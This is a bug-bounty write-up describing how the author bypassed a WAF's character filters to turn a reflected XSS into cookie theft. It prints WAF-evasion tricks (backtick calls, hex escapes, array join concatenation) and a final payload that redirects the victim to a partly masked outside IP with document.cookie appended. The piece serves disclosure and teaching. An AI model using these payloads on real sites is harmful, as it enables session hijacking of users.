How I Bypassed a tough WAF to steal user cookies using XSS!
Note: I decided to make this scenario a challenge so you can try to solve it before reading this write-up, you can check it out from here: http://188.8.131.52/, and now let’s start.
First of all, This was a private program, so I will refer to it with example.com.
Let me tell you how I found the Reflected XSS vulnerability first.
Finding The XSS:
When I visited a login panel in one of its subdomains, I found that the URL was reflected in a variable inside the script tag shown below
Since the variable is defined with single quotes, I tried to break it with a single quote and it works fine, then tried to alert anything just to make sure that there is no validation on it, So tried this basic payload
And it gives an error, I thought that alert was blocked and retested it with confirm and prompt, but it gives the same error!
May the problem here with the Round Brackets ( )? as you may guess we can use the Backtick `` instead, so let’s give it a try
And Yes, it works!
But after reporting it, they asked me for alerting the user cookies OR it will be N/A! so let’s do it!
Since I’m inside the script tag, I can use the $.getScript`` method to load scripts from my server, but you should know it works only if the website uses jQuery, and Unfortunately our website doesn’t use it!
Tried to close the current script tag and re-open another script tag and add our hosted external script to it as an src attribute, But both open/close tags are blocked.
As you may know, when using the backtick it doesn’t accept any variables which means it accepts only strings like the example below
But in another way, it accepts HEX values! so if I used a function like setTimeout`` and encode the brackets inside it it will work!
// will execute alert(1)setTimeout`alert\x28document.domain\x29`
// will execute alert(document.domain)
Let’s try it and see the results
Bad luck, after some analysis, I realized that both backslash \ and forward-slash / are also blocked!
Tried URL/Double URL encoding, again with many failed attempts and payloads, and I still have the same error!
Changing My Approach:
After a while, I take a look at the cookies and found that it did have NOT any of the httpOnly/secure flags, so I decided instead of alerting the cookies, I can send it to my server, which means stealing it, and this is easy, right?
Now let’s make a simple payload to do it for us
And the result was
As you expected, the forward-slash prevents me!, and I tried to check if it’s only the forward-slash that blocking this payload, but No!
All these characters are blocked as well
- The Forward-slash → /
- The colon → :
- The + Operator → +
Till now, there is no way to make a valid URL, and if we find a way to do it, How we can concatenate it with document.cookie to send it to our server?
Finding a way to concatenation:
- The + Operator → which is blocked as mentioned
- concat() → It uses the Round Brackets ( ) → blocked
- join() → It uses the Round Brackets ( ) → blocked
But I noticed that join() treat with Arrays! ,, and what does it mean?
It means that the array can take variables and this is what we want and you will know why.
Let me first show you an example of how the join function works:
// 'Melotover'['Hello', 'World'].join(' ');
// 'Hello World'['Hello', 'World'].join(',');
Inside the join brackets, we can notice that it takes the separator inside the quote!
yup, as you may guess, we can replace it with the backtick ``!
let’s try it with variables
var a = 'Find Bypass ';
var b = 'Like Melotover!';
// 'Find Bypass Like Melotover!'
We now can concatenate what we want!
Make a valid URL:
As we need to send the cookies outside this application, so we will make a trick here, we will use the At sign → @ at the end of the document.location.origin property, let us concatenate them together and see what we have
Nice, we are so close, let’s concatenate it with the document.cookie property
It’s a valid URL, but actually, we will not receive the cookies, because we want to add a forward-slash after our server IP!
As mentioned above, we can use document.location.pathname will do it for us!
[document.location.origin, '@40.112.xx.xx', document.location.pathname, document.cookie].join``;--> https://email@example.com/path/nameCookieP=value;CookieP2=value2;
The final payload will be
melo = [document.location.origin, '@40.112.xx.xx',document.location.pathname,document.cookie].join``;document.location = melo;
ِAnd for simplicity and make it short
let’s try it and check our server
Someone will ask me, what happened after re-submitting this bug?
While I’m writing the report, recording the PoC video, they add the HttpOnly flag on the cookies as a fix for another bug and said this is no longer exploitable!
I hope you enjoyed reading and I will be very happy if you have any feedback!